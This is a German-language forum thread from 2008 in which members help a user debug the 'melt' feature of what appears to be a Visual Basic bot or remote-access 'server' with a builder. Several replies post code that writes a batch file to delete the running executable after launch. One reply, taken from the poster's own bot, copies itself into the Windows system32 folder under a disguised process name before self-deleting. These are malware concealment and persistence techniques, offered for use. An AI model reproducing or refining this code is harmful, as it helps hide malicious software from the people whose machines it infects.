Melt server geht nicht... Verfasst am: 11.03.2008, 15:43
Ich weis nicht an was es liegt aber irgendwie geds nicht,kann sich das mal einer ansehen?
builder:
Code:
....
check_melt.Value & "#"
...
Server:
Code:
Public Function Melt()
Open "melt.bat" For Output As #1
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
End
End Function
....
Dim meltit As String
meltit = cmd(0)
....
' ganz am schluss von form_load hab ich noch
....
If meltit = "1" Then
Melt
End If
_________________
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 11.03.2008, 15:58
Lass die Funktion einfach beim Schließen der Form ausführen (falls du nicht nur Sub Main benutzt).
Code:
Private Sub Form_Unload()
Open "melt.bat" For Output As #1
If meltit = "1" Then
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
Else
Exit Sub
End If
End Sub
So vermeidest du, dass das Programm evtl. zu früh geschlossen wird.
Die Melt Variable muss natürlich als Public deklariert werden. _________________
Zuletzt bearbeitet von c0re_ am 11.03.2008, 18:39, insgesamt einmal bearbeitet
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 16:04
geht auch nicht
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 11.03.2008, 16:16
Vielleicht wird der Wert in der variable falsch/nicht gespeichert. Lass den Wert von meltit mal in einer MsgBox ausgeben. _________________
Five-Three-Nine_ Tutorial Leser
Anmeldedatum: 23.06.2007 Beiträge: 34
Verfasst am: 11.03.2008, 16:27
Aus meinem Bot:
Code:
If melt = "1" Then
If LCase(App.Path) & "\" & LCase(App.EXEName) & ".exe" <> LCase(Environ("windir") & "\system32\" & LCase(process)) Then
strOldFile = App.Path & "\" & App.EXEName & ".exe"
strNewFile = Environ("windir") & "\system32\" & process
FileCopy strOldFile, strNewFile
Shell Environ("windir") & "\system32\" & process
Call Selfdestruction
End If
End If
Selfdestruction entspricht deiner Bat
Er Löscht sich immer selber wenn er sich nicht in seinem Fixen Zielverzeichniss befindet. Eigentlich ganz einfach zu verstehen.
Wenns nicht das is was du suchtst -> Sry ^.^
Aber wenn gehörts ganz an den Anfang
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 18:19
Wert stimmt,habs getestet und wenn ich nur die funktion und nen button mache gehts auch,aber osn nicht
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 11.03.2008, 18:35
cls und exit sind übrigens komplett sinnlos.
Das wird wahrscheinlich garnichtmehr ausgeführt nachdem sich die bat selber löscht und des CMD Fenster würde sich sowieso schließen.
Beim Shell Aufruf solltest du noch vbhide nutzen.
Noch paar Fragen an dich.
1. Wird die bat Datei überhaupt erstellt?
2. Ist der Code, oder Aufruf zum Code in Form_Unload drinnen? _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
c0re_ « Moderator »
Anmeldedatum: 28.11.2007 Beiträge: 425
Verfasst am: 11.03.2008, 18:40
Danke ZiG, es hieß nicht Form_Close sondern Form_Unload. :D
@Threadstarter: So geht's:
Code:
Private Sub Form_Unload()
Open "melt.bat" For Output As #1
If meltit = "1" Then
Print #1, "sleep 500"
Print #1, "del " & App.EXEName & ".exe"
Print #1, "del melt.bat"
Print #1, "cls"
Print #1, "exit"
Close #1
Shell "melt.bat"
Else
Exit Sub
End If
End Sub
_________________
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 19:54
Lol jetzt kommt ein fehler bei
private sub form_unload()
"Deklaration der Prozedur entspricht nicht der Beschreibung eines Ereignisses oder einer prozedur mit dem selben namen"
Der Fehler ist mir aber nicht bekannt^^
Was heißt das?
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 11.03.2008, 19:58
Es heißt
Code:
Private Sub Form_Unload(Cancel As Integer)
Man kann übrigens die Events oben in einer ComboBox auswählen und muß sie so nicht selbst schreiben. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 20:06
Geht auch nicht.Geht halt nur wie bei meim code,wenn ich einfahc ein neues projekt mach und da das rein schreib.
Ich hab auch schon probiert einfach hinzuschreiben: meltit = "1"
sollniss_ Coder
Anmeldedatum: 08.09.2007 Beiträge: 212
Verfasst am: 11.03.2008, 20:24
Code:
Private Sub Form_Unload(cancel as integer)
If meltit = "1" Then
dim file as string
file = app.path & "\" & App.EXEName & ".exe"
Open environ$("temp") & "\killme.bat" For binary As #1
bat = "@echo off" & vbCrLf
bat = bat & ":Marke" & vbCrLf
bat = bat & "Del /f /q /s " & Chr(34) & file & Chr(34) & vbCrLf
bat = bat & "If Exist " & Chr(34) & file & Chr(34) & " Goto Marke" & vbCrLf
bat = bat & "del /f /q /s %0"
put #1,,bat
close #1
Shell "melt.bat", vbhide
else
exit sub
end if
End Sub
Zuletzt bearbeitet von sollniss_ am 11.03.2008, 20:30, insgesamt einmal bearbeitet
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 20:29
geht auch nicht
sollniss_ Coder
Anmeldedatum: 08.09.2007 Beiträge: 212
Verfasst am: 11.03.2008, 20:30
könntest du evtl. nachgucken was in der bat steht, vll. hab ich nen fehler gemacht _________________ http://sollniss.1x.to/
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 11.03.2008, 20:55
mir is grad aufgefallen dass die bat nicht erstellt wird,nur wenn ich ein neues projekt mach
Wenn nich drop ich se einfach mit ner res,das wird mir langsam zu blöd
sollniss_ Coder
Anmeldedatum: 08.09.2007 Beiträge: 212
Verfasst am: 11.03.2008, 21:30
was?
wird denn das unload ereigniss überhaupt ausgelöst wenn man bei vb den debug modus stoppt? oder versteh ich da was falsch?
mit dem code müsste es zu 90% funzen wenn keine fehler in der bat sind^^ _________________ http://sollniss.1x.to/
august_ Poster
Anmeldedatum: 04.08.2007 Beiträge: 181
Verfasst am: 12.03.2008, 12:17
Die bat wird nicht erstellt,obwohl sie erstellt wir wenn ich einfahc ein neues projekt mach _________________